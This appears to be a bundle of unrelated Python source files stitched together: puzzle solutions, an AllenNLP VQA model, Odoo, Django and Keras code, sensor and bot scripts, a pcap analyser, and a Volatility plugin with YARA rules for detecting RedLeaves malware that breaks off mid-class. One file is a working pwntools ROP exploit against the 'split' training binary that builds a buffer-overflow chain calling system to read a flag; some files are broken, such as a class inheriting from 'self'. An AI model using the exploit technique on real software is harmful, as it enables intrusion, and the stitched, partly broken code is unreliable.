"""
http://adventofcode.com/2017/day/19
"""
from typing import List, Tuple

def chain(maze: List[str]) -> Tuple[str, int]:
    r = 0
    c = maze[r].index('|')
    end_of_path = False
    direction = 'down'
    letters = []
    length = 0
    while not end_of_path:
        val = maze[r][c]
        if val.isalpha():
            letters.append(val)
        elif val == '+':
            direction = change_direction(direction, maze, (r, c))
        elif val == ' ':
            end_of_path = True

        if direction == 'down':
            r += 1
        elif direction == 'up':
            r -= 1
        elif direction == 'left':
            c -= 1
        elif direction == 'right':
            c += 1

        length += 1

    return ''.join(letters), length - 1

def change_direction(direction: str,
                     maze: List[str],
                     coords: Tuple[int, int]) -> str:
    r, c = coords
    if direction in ['up', 'down']:
        if maze[r][c + 1] == ' ':
            newdir = 'left'
        else:
            newdir = 'right'
    else:
        if maze[r + 1][c] == ' ':
            newdir = 'up'
        else:
            newdir = 'down'

    return newdir

TEST = """.....|..........
.....|..+--+....
.....A..|..C....
.F---|----E|--+.
.....|..|..|..D.
.....+B-+..+--+.
................""".replace('.', ' ').splitlines()
assert chain(TEST)[0] == 'ABCDEF'
assert chain(TEST)[1] == 38

with open('day19_input.txt', 'r') as f:
    INPUT = f.read().splitlines()
    print("Chain:", chain(INPUT)[0])
    print("Length:", chain(INPUT)[1])


import logging
from typing import Dict, Optional

import torch

from allennlp.data import TextFieldTensors, Vocabulary
from allennlp.models.model import Model
from allennlp.modules.transformer import (
    TransformerEmbeddings,
    ImageFeatureEmbeddings,
    BiModalEncoder,
)
from allennlp.nn import util

from allennlp_models.vision.models.vision_text_model import VisionTextModel

logger = logging.getLogger(__name__)

@Model.register("vqa_vilbert")
@Model.register("vqa_vilbert_from_huggingface", constructor="from_huggingface_model_name")
class VqaVilbert(VisionTextModel):
    """
    Model for VQA task based on the VilBERT paper.

    # Parameters

    vocab : `Vocabulary`
    text_embeddings : `TransformerEmbeddings`
    image_embeddings : `ImageFeatureEmbeddings`
    encoder : `BiModalEncoder`
    pooled_output_dim : `int`
    fusion_method : `str`, optional (default = `"sum"`)
    dropout : `float`, optional (default = `0.1`)
    label_namespace : `str`, optional (default = `answers`)
    """

    def __init__(
        self,
        vocab: Vocabulary,
        text_embeddings: TransformerEmbeddings,
        image_embeddings: ImageFeatureEmbeddings,
        encoder: BiModalEncoder,
        pooled_output_dim: int,
        fusion_method: str = "sum",
        dropout: float = 0.1,
        label_namespace: str = "answers",
        *,
        ignore_text: bool = False,
        ignore_image: bool = False
    ) -> None:
        super().__init__(
            vocab,
            text_embeddings,
            image_embeddings,
            encoder,
            pooled_output_dim,
            fusion_method,
            dropout,
            label_namespace,
            is_multilabel=True,
            ignore_text=ignore_text,
            ignore_image=ignore_image,
        )

        from allennlp.training.metrics import F1MultiLabelMeasure
        from allennlp_models.vision.metrics.vqa import VqaMeasure

        self.f1_metric = F1MultiLabelMeasure(average="micro")
        self.vqa_metric = VqaMeasure()

    def forward(
        self,  # type: ignore
        box_features: torch.Tensor,
        box_coordinates: torch.Tensor,
        box_mask: torch.Tensor,
        question: TextFieldTensors,
        labels: Optional[torch.Tensor] = None,
        label_weights: Optional[torch.Tensor] = None,
    ) -> Dict[str, torch.Tensor]:

        return super().forward(
            box_features,
            box_coordinates,
            box_mask,
            text=question,
            labels=labels,
            label_weights=label_weights,
        )

    def _compute_loss_and_metrics(
        self,
        batch_size: int,
        outputs: torch.Tensor,
        label: torch.Tensor,
        label_weights: Optional[torch.Tensor] = None,
    ):
        if label is not None and label_weights is not None:
            logits = outputs["logits"]
            label_mask = label > 1  # 0 is padding, 1 is OOV, which we want to ignore

            weighted_labels = util.masked_index_replace(
                logits.new_zeros(logits.size() + (1,)),
                label.clamp(min=0),
                label_mask,
                label_weights.unsqueeze(-1),
            ).squeeze(-1)

            # weighted_labels now has shape (batch_size, num_labels).  We need to ignore the first
            # two columns of this in our loss function and accuracy metric.  The first column is a
            # padding label, and the second column is an OOV label.  We want the loss function to
            # be computed on every other label.
            binary_label_mask = weighted_labels.new_ones(logits.size())
            binary_label_mask[:, 0] = 0
            binary_label_mask[:, 1] = 0

            outputs["loss"] = (
                torch.nn.functional.binary_cross_entropy_with_logits(
                    logits, weighted_labels, weight=binary_label_mask, reduction="sum"
                )
                / batch_size
            )

            self.f1_metric(logits, weighted_labels, binary_label_mask.bool())
            self.vqa_metric(logits, label, label_weights)

        return outputs

    def get_metrics(self, reset: bool = False) -> Dict[str, float]:
        result = self.f1_metric.get_metric(reset)
        result["vqa_score"] = self.vqa_metric.get_metric(reset)["score"]
        return result

    def make_output_human_readable(
        self, output_dict: Dict[str, torch.Tensor]
    ) -> Dict[str, torch.Tensor]:
        batch_tokens = []
        for batch_index, batch in enumerate(output_dict["probs"]):
            tokens = {}
            for i, prob in enumerate(batch):
                tokens[self.vocab.get_token_from_index(i, self.label_namespace)] = float(prob)
            batch_tokens.append(tokens)
        output_dict["tokens"] = batch_tokens
        return output_dict

    default_predictor = "vilbert_vqa"


from pwn import *

#
# Context
#

e = context.binary = ELF('split')

#
# ROP
#

# Use pwntools to find gadgets and strings
BINCAT = p64(next(e.search(b'/bin/cat flag.txt'))) # "/bin/cat flag.txt"
SYSTEM = p64(e.symbols["usefulFunction"] + 9) # call system; <junk>
POPRDI = p64(next(e.search(asm('pop rdi; ret'))))

#
# Offset
#

offset = 0

io = process(e.path)

io.sendlineafter(b'> ', cyclic(0x60))
io.wait()

core = io.corefile

io.close()

offset = cyclic_find(core.read(core.rsp, 4))
info(f'Offset: {offset}')

#
# Exploit
#

payload  = b''
payload += b'A' * offset
payload += POPRDI
payload += BINCAT
payload += SYSTEM

with open('payload', 'wb') as fout:
    fout.write(payload)

io = process(e.path)

io.sendlineafter(b'> ', payload)
info(io.recvuntil(b'}').decode())
io.close()


# -*- coding: utf-8 -*-

from odoo import models, fields, api, _
from odoo.exceptions import UserError

class AccountInvoice(models.Model):
    _inherit = 'account.invoice'
    invoice = fields.Char(string='Invoice No')
    balance_ids = fields.One2many('account.payment.register.balance', 'invoice_id')
    remain_apply_balance = fields.Monetary(string='To Apply', currency_field='currency_id',
                                           store=True, readonly=True, compute='_compute_amount',
                                           help="Total amount in the currency of the invoice, negative for credit notes.")

    @api.one
    @api.depends('invoice_line_ids.price_subtotal', 'tax_line_ids.amount', 'currency_id', 'company_id', 'date_invoice',
                 'balance_ids')
    def _compute_amount(self):
        self.amount_untaxed = sum(line.price_subtotal for line in self.invoice_line_ids)
        self.amount_untaxed_o = sum(line.price_subtotal_o for line in self.invoice_line_ids)
        self.amount_tax = sum(line.amount for line in self.tax_line_ids)
        self.amount_total = self.amount_untaxed + self.amount_tax
        self.amount_total_o = sum(line.price_subtotal_o for line in self.invoice_line_ids)
        self.remain_apply_balance = self.amount_total
        amount_total_company_signed = self.amount_total
        amount_untaxed_signed = self.amount_untaxed
        if self.currency_id and self.currency_id != self.company_id.currency_id:
            currency_id = self.currency_id.with_context(date=self.date_invoice)
            amount_total_company_signed = currency_id.compute(self.amount_total, self.company_id.currency_id)
            amount_untaxed_signed = currency_id.compute(self.amount_untaxed, self.company_id.currency_id)
        sign = self.type in ['in_refund', 'out_refund'] and -1 or 1
        self.amount_total_company_signed = amount_total_company_signed * sign
        self.amount_total_signed = self.amount_total * sign
        self.amount_untaxed_signed = amount_untaxed_signed * sign
        if len(self.balance_ids) >= 1:
            amount = 0.0
            for balance_id in self.balance_ids:
                amount += balance_id.amount
            self.remain_apply_balance = self.remain_apply_balance - amount


import collections

class Solution:
    def findPairs(self, nums, k):
        result = 0
        # collect and store array elements with their counts as dictionary keys
        collection_counter = collections.Counter(nums)

        # loop through {1: 2, 3: 1, 4: 1, 5: 1}
        for item in collection_counter:
            print ("item", item)
            # Handle edge case and check if collection item + k is in collection
            if k > 0 and item + k in collection_counter or k == 0 and collection_counter[item] > 1:
                result = result + 1
        return result

solution = Solution()
solution.findPairs([3, 1, 4, 1, 5], 2)


#! /usr/bin/python3

__json_template = {
    "kind"                  : "Network",

    "meta": {
        "name"              : "",
        "tenant"            : "",
        "namespace"         : "",
        "generation-id"     : "",
        "creation-time"     : "1970-01-01T00:00:00Z",
        "mod-time"          : "1970-01-01T00:00:00Z"
    },

    "spec": {
        "ipv4-subnet"       : "",
        "ipv4-gateway"      : "",
        "vlan-id"           : 0
    },
    "status"                : {}
}

class NetagentEndpointObject(self):
    def __init__(self):
        return


import zmq

context = zmq.Context()

#  Socket to talk to server
print("Connecting to hello world server…")
socket = context.socket(zmq.REQ)
socket.connect("tcp://localhost:5555")

socket.send_multipart([b'suma', b'4', b'3'])
m = socket.recv_multipart()
print(m)


# -*- coding: utf-8 -*-
"""Application configuration."""

# standard imports
import argparse
import copy
import errno
import logging
import os

# external imports
import appdirs
import yaml

# application imports
from . import __program__, __version__

def directory(path):
    """Ensure `path` is a directory."""

    if not os.path.isdir(path):
        raise argparse.ArgumentTypeError(
            "invalid directory path: '%s'" % path)
    return path

def initialize_logging(logfile=None, loglevel=logging.WARNING):
    """Initialize program logger."""

    scriptlogger = logging.getLogger(__program__)

    # ensure logger is not reconfigured
    if not scriptlogger.hasHandlers():

        # set log level
        scriptlogger.setLevel(loglevel)

        fmt = '%(levelname)s: %(message)s'

        # configure terminal log
        streamhandler = logging.StreamHandler()
        streamhandler.setFormatter(logging.Formatter(fmt))
        scriptlogger.addHandler(streamhandler)

        # configure log file (if necessary)
        if logfile is not None:
            fileformatter = logging.Formatter('%(asctime)s.%(msecs)03d ' + fmt,
                                              '%Y-%m-%d %H:%M:%S')
            filehandler = logging.FileHandler(logfile)
            filehandler.setFormatter(fileformatter)
            scriptlogger.addHandler(filehandler)

def merge(source, destination):
    """
    Merge dictionaries.
    See: http://stackoverflow.com/a/20666342
    """

    for key, value in source.items():
        if isinstance(value, dict):
            # get node or create one
            node = destination.setdefault(key, {})
            merge(value, node)
        else:
            destination[key] = value

    return destination

def parse_args(args):
    """Parse command-line arguments."""

    class SmartFormatter(argparse.HelpFormatter):
        """Permit the use of raw text in help messages with 'r|' prefix."""

        def _split_lines(self, text, width):
            """argparse.RawTextHelpFormatter._split_lines"""
            if text.startswith('r|'):
                return text[2:].splitlines()
            return argparse.HelpFormatter._split_lines(self, text, width)

    default_directory = appdirs.user_config_dir(__program__)

    parser = argparse.ArgumentParser(
        add_help=False,
        description='Poll for new updates.',
        formatter_class=SmartFormatter,
        usage='%(prog)s [-d DIRECTORY] [COMMAND]')

    parser.add_argument(
        '-d', '--dir',
        dest='directory',
        help='r|override default config directory\n'
             '(typically %s)' % default_directory,
        type=directory)
    parser.add_argument(
        '-s', '--single',
        action='store_false',
        dest='multiprocess',
        help='use a single process for checking updates')

    cgroup = parser.add_argument_group('commands')
    mgroup = cgroup.add_mutually_exclusive_group()
    # leave -l flag for backwards compatibility
    mgroup.add_argument(
        '-l',
        action='store_true',
        dest='list',
        help=argparse.SUPPRESS)
    mgroup.add_argument(
        '--list',
        action='store_true',
        help='list available updates')
    mgroup.add_argument(
        '--list-from-cache',
        action='store_true',
        help='list available updates from cache')
    mgroup.add_argument(
        '--run-from-cache',
        action='store_true',
        help='list new updates from cache')
    mgroup.add_argument(
        '--set-password',
        action='store_true',
        help='set email account password')

    lgroup = parser.add_argument_group('logging options')
    lgroup.add_argument(
        '--debug',
        action='store_true',
        help='set the logging level to debug')
    lgroup.add_argument(
        '--log',
        const=True,
        dest='logfile',
        help='set log file destination',
        nargs='?')

    pgroup = parser.add_argument_group('program options')
    pgroup.add_argument(
        '-h', '--help',
        action='help',
        help=argparse.SUPPRESS)
    pgroup.add_argument(
        '--version',
        action='version',
        help=argparse.SUPPRESS,
        version='%(prog)s ' + __version__)

    options = parser.parse_args(args)

    # if no application directory has been set, configure a default
    # and create the directory if none exists
    if options.directory is None:
        options.directory = default_directory
        os.makedirs(options.directory, exist_ok=True)

    # application config paths
    options.application = os.path.join(options.directory,
                                       __program__ + '.yaml')
    options.database = os.path.join(options.directory, __program__ + '.db')
    options.updates = os.path.join(options.directory, 'updates.yaml')

    # logging config
    options.logfile = os.path.join(options.directory, __program__ + '.log') \
        if options.logfile is True else options.logfile
    options.loglevel = logging.DEBUG if options.debug else logging.WARNING

    # remove this useless property now that loglevel is set
    del options.debug

    return options

def populate(path):
    """
    Return the application's configuration data, populating it
    if necessary.
    """

    skeleton = {
        'email': {
            'enabled': False,
            'from': 'username@gmail.com',
            'to': 'username@gmail.com',
            'subject': 'updatewatch',
            'smtp': {
                'host': 'smtp.gmail.com',
                'port': 587
            }
        },
        'notify': False
    }

    LOG.debug('running configuration.populate')

    try:
        original = yaml_load(path)
        merged = merge(original, copy.deepcopy(skeleton))
        if original == merged:
            return original
        yaml_dump(merged, path)
        LOG.debug('merged existing YAML document')
        return merged
    except IOError as exc:
        if exc.errno == errno.ENOENT:
            yaml_dump(skeleton, path)
            LOG.debug('created and populated default YAML document')
            return skeleton
        raise

def yaml_dump(data, path):
    """Write YAML document to `path`."""
    with open(path, 'w') as file:
        yaml.safe_dump(data, file)

def yaml_load(path):
    """Return YAML document from `path`."""
    with open(path) as file:
        return yaml.safe_load(file)

LOG = logging.getLogger(__program__)


import tensorflow as tf
import keras
import numpy as np
import matplotlib.pyplot as plt
import os
import pathlib
from sklearn.metrics import confusion_matrix
gpu_options = tf.compat.v1.GPUOptions(per_process_gpu_memory_fraction = 0.33)
sess = tf.compat.v1.Session(config = tf.compat.v1.ConfigProto(gpu_options = gpu_options))
with tf.device('/gpu:0'):
	train_data_dir  = "Mask_Datasets/Train"
	val_data_dir = "Mask_Datasets/Validation"
	train_data_dir = pathlib.Path(train_data_dir)
	val_data_dir = pathlib.Path(val_data_dir)

	CLASS_NAMES = np.array([item.name for item in train_data_dir.glob('*')])
	print(CLASS_NAMES)
	image_generator = tf.keras.preprocessing.image.ImageDataGenerator(rescale = 1./255)

	BATCH_SIZE = 32
	IMG_HEIGHT = 224
	IMG_WIDTH = 224

	train_data_gen = image_generator.flow_from_directory(directory = str(train_data_dir),
														 batch_size = 2,
														 shuffle = False,
														 target_size = (IMG_HEIGHT,IMG_WIDTH),
														 classes = list(CLASS_NAMES),
														)

	validation_data_gen = image_generator.flow_from_directory(directory = str(val_data_dir),
														 batch_size = 2,
														 shuffle = False,
														 target_size = (IMG_HEIGHT,IMG_WIDTH),
														 classes = list(CLASS_NAMES),
														)

	img_batch , label_batch = next(train_data_gen)
	img_shape = img_batch[0].shape
	# print(img_batch[0].shape)

	# plt.imshow(img_batch[0])
	# plt.axis("off")
	# plt.show()
	# print(label_batch[0])

	base_model = tf.keras.applications.VGG16(input_shape=img_shape,
	                                         include_top=False,
	                                         weights='imagenet')

	base_model.trainable = False
	feature_batch = base_model(img_batch)
	global_average_layer = tf.keras.layers.GlobalAveragePooling2D()
	feature_batch_average = global_average_layer(feature_batch)
	# dense1 = tf.keras.layers.Dense(1024, activation = 'relu')
	# preprediction_batch = dense1(feature_batch_average)
	prediction_layer = tf.keras.layers.Dense(2, activation = "softmax")
	preprediction_batch = prediction_layer(feature_batch_average)
	'''
	model = tf.keras.Sequential([
			base_model,
			global_average_layer,
			#dense1,
			#tf.keras.layers.Dropout(0.3),
			prediction_layer
			])
	'''
	model = tf.keras.models.load_model("finalmodelvggnetindian2.h5")
	print(model.summary())
	nb_epochs = 20
	checkpoint = tf.keras.callbacks.ModelCheckpoint('finalmodelvggnetindian3.h5', verbose=1, monitor='val_accuracy',save_best_only=True, mode='auto')
	model.compile(optimizer = tf.keras.optimizers.SGD(learning_rate = 0.01),loss=tf.keras.losses.CategoricalCrossentropy(from_logits=True),metrics=['accuracy'])

	history = model.fit(train_data_gen,
                    epochs=nb_epochs,
                    validation_data = validation_data_gen,
                    callbacks = [checkpoint])
	'''

	val_data_dir = "Mask_Datasets/Validation"
	val_data_dir = pathlib.Path(val_data_dir)
	validation_data_gen = image_generator.flow_from_directory(directory = str(val_data_dir),
														 batch_size = 8,
														 shuffle = False,
														 target_size = (IMG_HEIGHT,IMG_WIDTH),
														 classes = list(CLASS_NAMES),
														)

	model = tf.keras.models.load_model("finalmodel.h5")
	predictions = model.predict_generator(validation_data_gen)
	print(np.argmax(predictions,axis = 1))
	# y_pred = np.argmax(np.array(predictions),axis = 1)
	# y_true = np.array(validation_data_gen.classes)
	# print(confusion_matrix(y_true,y_pred))
	'''


#ifStatement.py
#Written by Jesse Gallarzo

#The script prompts the user for their age.
age = int(input('How old are you? '))

#The if statement compares the age against a predetermined value
if(age > 17):
    #If the age recorded is above 17...
    print('You are an adult, congradulations...now get a job!')
    #If the age recorded is 17 or below...
else:
    print('You are still a kid...now go to school!')


# TAREA 5 - SPLIT 2

# Importar librerias
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import seaborn as sns
import os

# Función para buscar archivo en el directorio
def searching_file(filename):
    '''
    Search the file in the directory and save the path

    Arg:
        filename(str): file name

    Output:
        str: path of file
    '''
    for root, dir, files in os.walk(os.path.dirname(os.path.abspath(__file__))):
        if filename in files:
            path=os.path.join(root, filename)
    df=pd.read_csv(path)
    return df

# Definir la función para la hacer plot
def histogram_artist(df, feature, name=None, save=False):
    '''
    Plot de dos histogramas de un feature numérico de un artísta específico
    input:
        feauture (str): nombre de la audio feature que se quiere analizar
        name (str): Optional. Nombre del artista.
        save (boolean). If true, save the plot. Default False.

    '''
    if name == None:
        df_artist=df
    else:
        name = name.title()
        df_artist=df[df['artist_name'] == name]

    # Creamos multiples subplots en uno
    fig, axes = plt.subplots(1,2, figsize=(15, 5))
    fig.suptitle('Histogramas')

    # Histograma de frecuencias
    sns.histplot(x=df_artist[feature], stat="count", bins=10, edgecolor='black', ax=axes[0])
    axes[0].set_title('a) Frecuencias')

    # Histograma de densidades
    sns.histplot(x=df_artist[feature], stat="density", bins=10, edgecolor='black', ax=axes[1])
    axes[1].set_title('b) Densidades de probabilidad')

    if save == False:
        pass
    else:
        plt.savefig('histograms.png', facecolor='white')

    plt.show()

# Cirterio de aceptación
df=searching_file('data_clean.csv')
histogram_artist(df, 'acousticness', 'Ed Sheeran', save=False)


from scapy.all import *
import sys
import hexdump
from collections import Counter
import argparse

parser = argparse.ArgumentParser(description='pDiff')
parser.add_argument('-p', dest='inFile', help='Pcap File to Analyze', required=True)
parser.add_argument('-f', dest='pFilter', help='BPF Filter to use')
parser.add_argument('-m', dest='maxComp', help='Number of most common bytes to list per byte (Default: 20)')
parser.add_argument('-o', dest='bOffs', help='Offset to start at (Default: 0)')
parser.add_argument('-n', dest='bRange', help='Number of bytes to read (Default: 30)')
parser.add_argument('-l', dest='numLengths', help='Number of packet lengths to count for frequency (Default: 20)')
parser.add_argument('-x', dest='hexMode', help='Enable hex mode, view a hex dump of each packet, as well as packet metadata',action="store_true")
parser.add_argument('-a', dest='asciiPrint', help='Turns on printable chars for frequency analysis',action="store_true")
parser.add_argument('-t', dest='packetLimit', help='Total number of packets to read (Default: All)')

# Globals
minLength = 2   # Minimum payload length for a packet to be parsed
pBytes = {}     # This dict holds the actual bytes that will be analyzed
pLens = []      # A list to contain all of the packet lengths for averages

def iteratePackets(packets,packetLimit,bOffs):
    i = 0 # For the number of packets in the pcap
    n = 0 # This is to count the number of packets we processed.
    for packet in packets:
        tcpPL = bytes(packet.payload.payload.payload)
        i = i+1
        packetLimit = packetLimit - 1
        if len(tcpPL) > minLength:
            n = n+1
            pLens.append(len(tcpPL))
            if hexMode:
                if TCP in packet:
                  print("\033[1;33mPACKET #{} - \033[38;5;219mSRC \033[1;36m{}:{} | \033[38;5;141mDST \033[1;36m{}:{}\033[0m".format(i,packet[IP].src,packet[TCP].sport,packet[IP].dst,packet[TCP].dport))
                elif UDP in packet:
                  print("\033[1;33mPACKET #{} - \033[38;5;219mSRC \033[1;36m{}:{} | \033[38;5;141mDST \033[1;36m{}:{}\033[0m".format(i,packet[IP].src,packet[UDP].sport,packet[IP].dst,packet[UDP].dport))
                hexdump.hexdump(tcpPL)
            x = bOffs # Byte number in given packet
            for b in tcpPL[bOffs:]:
                bNum = "p"+str(i) # The packet number
                pBytes[str(x)][bNum] = b # The actual payload data
                if x == (bRange+bOffs) - 1:
                    break
                x = x + 1
        if packetLimit == 0:
            break
    return n, i # Number of packets we processed, and total number of packets

# This function is used to list the most common values across a given set of packets.
# The optional -a flag is used to toggle printable characters being displayed next to the value.
def listCommon(pBytes,numPackets,totalPackets):
    print("\nListing top {} most common byte values found in {} packets! {} packets ignored.\n\033[0m".format(maxComp,numPackets,totalPackets-numPackets))
    for j in pBytes.keys():
      mc = Counter(pBytes[j].values()).most_common(maxComp) # Get most common values
      if len(mc) > 0:
        tBytes = len(pBytes[j])
        print("\033[1;33m[ Byte {} (0x{:02x})] Total: {}".format(j,int(j),tBytes))
        for m in mc:
            if asciiPrint: # This handles the printing of ascii characters
                if m[0] < 127 and chr(m[0]).isprintable():
                  mPrint = chr(m[0])
                  print("  \033[38;5;219m0x{:02x}\033[0m - {}/{} ({}%)\t'{}'".format(m[0],m[1],tBytes,round((m[1]/tBytes)*100,2),mPrint))
                else:
                  print("  \033[38;5;219m0x{:02x}\033[0m - {}/{} ({}%)".format(m[0],m[1],tBytes,round((m[1]/tBytes)*100,2)))
            else:
                print("  \033[38;5;219m0x{:02x}\033[0m - {}/{} ({}%)".format(m[0],m[1],tBytes,round((m[1]/tBytes)*100,2)))

# This function is a simple way to determine the most common
# lengths of packets and display the frequency per given length.
# Use the -l flag to override the default number of 20
def commonLengths(pLens,numLengths):
    c = Counter(pLens)
    mc = c.most_common(numLengths)
    print("\n{} most common packet lengths".format(numLengths))
    print("  Len\tFrequency")
    print("-----------------------")
    for l in mc:
        print("  {}\t{}".format(l[0],l[1]))

if __name__ == '__main__':
    ### Begin Argument Parsing ###
    args    = parser.parse_args()
    inFile  = args.inFile
    if args.bOffs:
        bOffs = int(args.bOffs)
    else:
        bOffs = 0 # Where in the payload to start analysis
    if args.bRange:
        bRange = int(args.bRange)
    else:
        bRange = 30 # How many bytes to look at in each payload
    if args.pFilter:
        pFilter = args.pFilter
    else:
        pFilter = "" # Default filter is "none"
    if args.maxComp:
        maxComp = int(args.maxComp)
    else:
        maxComp = 10 # Default number of bytes to list in comparison
    if args.numLengths:
        numLengths = int(args.numLengths)
    else:
        numLengths = 20 # Default number of packet lengths to list in comparison
    if args.hexMode:
        hexMode = 1
    else:
        hexMode = 0
    if args.asciiPrint:
        asciiPrint = 1
    else:
        asciiPrint = 0
    if args.packetLimit:
        packetLimit = int(args.packetLimit)
    else:
        packetLimit = 0 # Default number of bytes to list in comparison
    ### End of Argument Parsing ###

    for k in range(bOffs,(bRange+bOffs)): # this initializes the list of bytes to log based on the range of bytes we want to look at
        pBytes[str(k)] = {}

    try:
        packets = sniff(offline=inFile,filter=pFilter) # Grabs the initial packet object
    except Scapy_Exception: # bad file or something
        pass
    else:
        numPackets, totalPackets = iteratePackets(packets,packetLimit,bOffs) # Passes it to the packet iterator
        listCommon(pBytes,numPackets,totalPackets) # Lists the most common packets
        commonLengths(pLens,numLengths) # Prints the common lengths


from django.conf.urls import patterns, include, url
from django.contrib import admin
from django.contrib.auth.decorators import login_required
from requirements.views import users
from requirements.views import home
from requirements import req_urls
from rest_framework.routers import DefaultRouter
from comm import views

router = DefaultRouter()
router.register(r'users', views.UserViewSet)
router.register(r'indvrooms', views.IndvRoomViewSet, 'indvrooms')
router.register(r'indvmessages', views.IndvMessageViewSet)
router.register(r'userVisit', views.UserVisitViewSet)
router.register(r'rooms', views.RoomViewSet)
router.register(r'messagedata', views.MessageDataViewSet, 'messagedata')
router.register(r'messagesearch', views.MessageSearchSet, 'messagesearch')
router.register(r'messages', views.MessageViewSet, 'message')
router.register(r'roomuserdata', views.UserRoomDataViewSet, 'roomuserdata')
router.register(r'roomuser', views.UserRoomViewSet, 'roomuser')

urlpatterns = patterns(
    '',
    url(r'^signin', users.signin),
    url(r'^signout', users.signout),
    url(r'^signup', users.signup),
    url(r'^req/', include(req_urls)),
    url(r'^admin/doc/', include('django.contrib.admindocs.urls')),
    url(r'^admin/', include(admin.site.urls)),
    url(r'^$', home.home_page),
    url(r'^communication/', include('comm.urls')),
    url(r'^issue_tracker/', include('issue_tracker.urls')),
    url(r'^admin/doc/', include('django.contrib.admindocs.urls')),
    url(r'^api/', include(router.urls)),
    # url(r'^admin/', include(admin.site.urls)),
)


from aiogram import Dispatcher
from aiogram_dialog import setup_dialogs

from cherino.crud.state import SqliteStorage
from cherino.dispatcher import admin, auth, normal, settings, question, spam

dp = Dispatcher(storage=SqliteStorage())
dp.include_routers(
    admin.router,
    auth.router,
    settings.router,
    normal.router,
    question.router,
    spam.router,
)
setup_dialogs(dp)


from dagster import op
import sys; sys.path.append('/Users/volkerh/Work_SINTEF/src/nwpstuff')
import nwpstuff

@op(config_schema={'date': str, 'force': bool})
def download_nwp(context):
    """
    An op definition. This example op outputs a single string.

    For more hints about writing Dagster ops, see our documentation overview on Ops:
    https://docs.dagster.io/concepts/ops-jobs-graphs/ops
    """
    basedir='/tmp'
    nwpstuff.download_nwp(context.op_config['date'],
                          basedir,
                          force=context.op_config['force'])
    return "Downloaded!"


import time
import grovepi
import json
from time import sleep
from grovepi import *
from math import isnan

# Connect the Grove Light Sensor to analog port A0
# SIG,NC,VCC,GND
light_sensor = 0

# Temp / humidity Sensor is attached to port 7
dht_sensor_port = 7
dht_sensor_type = 0

# Connect the LED to digital port D4
# SIG,NC,VCC,GND
# Blue, Green and Red LED's
BLed = 4
GLed = 5
RLed = 6

# Turn on LED once sensor exceeds threshold resistance
threshold = 15

grovepi.pinMode(light_sensor, "INPUT")
grovepi.pinMode(BLed, "OUTPUT")
grovepi.pinMode(GLed, "OUTPUT")
grovepi.pinMode(RLed, "OUTPUT")

outputData = []

# I had to add these extra sleep functions to stop the NAN errors
sleep(.1)

while True:

    def lights():
        grovepi.digitalWrite(GLed, 0)
        grovepi.digitalWrite(BLed, 0)
        grovepi.digitalWrite(RLed, 0)

    try:
        sleep(0.5)
        # Get sensor value
        sensor_value = grovepi.analogRead(light_sensor)

        # Calculate resistance of sensor in K
        if sensor_value <= 0: # stops dividing by 0 errors
            resistance = 0
        else:
            resistance = float(1023 - sensor_value) * 10 / sensor_value

        # If Light is on, records data
        if resistance > threshold:
            # Send HIGH to switch off LED
            lights()
        # If light is off, turns off and stop recording
        else:
            [temp, humidity] = dht(dht_sensor_port, dht_sensor_type)
            # celsius to fahrenheit conversion
            fahrenheit = (temp * 9/5) + 32
            print(fahrenheit, humidity)
            t = fahrenheit
            h = humidity
            # Send LOW to switch on LED depending on the Temp and humidity
            if fahrenheit > 95:
                grovepi.digitalWrite(RLed, 1)
            elif (60 > fahrenheit < 85) and (humidity < 80):
                grovepi.digitalWrite(GLed, 1)
            elif (85 > fahrenheit < 95) and (humidity < 80):
                grovepi.digitalWrite(BLed, 1)
            elif humidity > 80:
                grovepi.digitalWrite(GLed, 1)
                grovepi.digitalWrite(BLed, 1)
            else:
                print("No Readings!")
            # Sends data to the global array
            outputData.append([t, h])

        # Sleeps for 1800 seconds, or 30 minutes
        sleep(1800)

    except IOError:
        print("Error")

    except KeyboardInterrupt:
        print("Program Terminated by User!!!") # Takes keyboard interrupt and ends
        # Turns off lights ones program stops
        lights()
        # Ends program
        break

# Setting up to save the data to outputData text file
with open('outputData.json', 'a') as outfile:
    json.dump(outputData, outfile)


# Detecting RedLeaves for Volatility
#
# LICENSE
# Please refer to the LICENSE.txt in the https://github.com/JPCERTCC/MalConfScan/
#
# How to use:
# 1. cd "Volatility Folder"
# 2. mv redleavesscan.py volatility/plugins/malware
# 3. python vol.py redleavesconfig -f images.mem --profile=Win7SP1x64

import volatility.plugins.taskmods as taskmods
import volatility.win32.tasks as tasks
import volatility.utils as utils
import volatility.debug as debug
import volatility.plugins.malware.malfind as malfind
import re
from struct import unpack, unpack_from
from collections import OrderedDict

try:
    import yara
    has_yara = True
except ImportError:
    has_yara = False

redleaves_sig = {
    'namespace1' : 'rule RedLeaves { \
                    strings: \
                       $v1 = "red_autumnal_leaves_dllmain.dll" \
                       $b1 = { FF FF 90 00 } \
                    condition: $v1 and $b1 at 0}',
    'namespace2' : 'rule Himawari { \
                    strings: \
                       $h1 = "himawariA" \
                       $h2 = "himawariB" \
                       $h3 = "HimawariDemo" \
                    condition: $h1 and $h2 and $h3}',
    'namespace3' : 'rule Lavender { \
                    strings: \
                       $l1 = {C7 ?? ?? 4C 41 56 45} \
                       $l2 = {C7 ?? ?? 4E 44 45 52} \
                    condition: $l1 and $l2}',
    'namespace4' : 'rule Armadill { \
                    strings: \
                       $a1 = {C7 ?? ?? 41 72 6D 61 } \
                       $a2 = {C7 ?? ?? 64 69 6C 6C } \
                    condition: $a1 and $a2}',
    'namespace5' : 'rule zark20rk { \
                    strings: \
                       $a1 = {C7 ?? ?? 7A 61 72 6B } \
                       $a2 = {C7 ?? ?? 32 30 72 6B } \
                    condition: $a1 and $a2}'
}

CONF_PATTERNS = {"RedLeaves": re.compile("\x68\x88\x13\x00\x00\xFF", re.DOTALL),
                 "Himawari": re.compile("\x68\x70\x03\x00\x00\xBF", re.DOTALL),
                 "Lavender": re.compile("\x68\x70\x03\x00\x00\xBF", re.DOTALL),
                 "Armadill": re.compile("\x68\x70\x03\x00\x00\xBF", re.DOTALL),
                 "zark20rk": re.compile("\x68\x70\x03\x00\x00\x8D", re.DOTALL),
                 }

CONNECT_MODE = {1: 'TCP', 2: 'HTTP', 3: 'HTTPS', 4: 'TCP and HTTP'}

class redleavesConfig(taskmods.DllList):
    """Detect processes infected with redleaves malware"""

    @staticmethod
    def is_valid_profile(profile):
        return (profile.metadata.get('os', 'unknown') == 'windows'), profile.metadata.get('memory_model', '32bit')

    def get_vad_base(self, task, address):
        for vad in task.VadRoot.traverse():
            if address >= vad.Start and address < vad.End:
                return vad.Start, vad.End

        return None

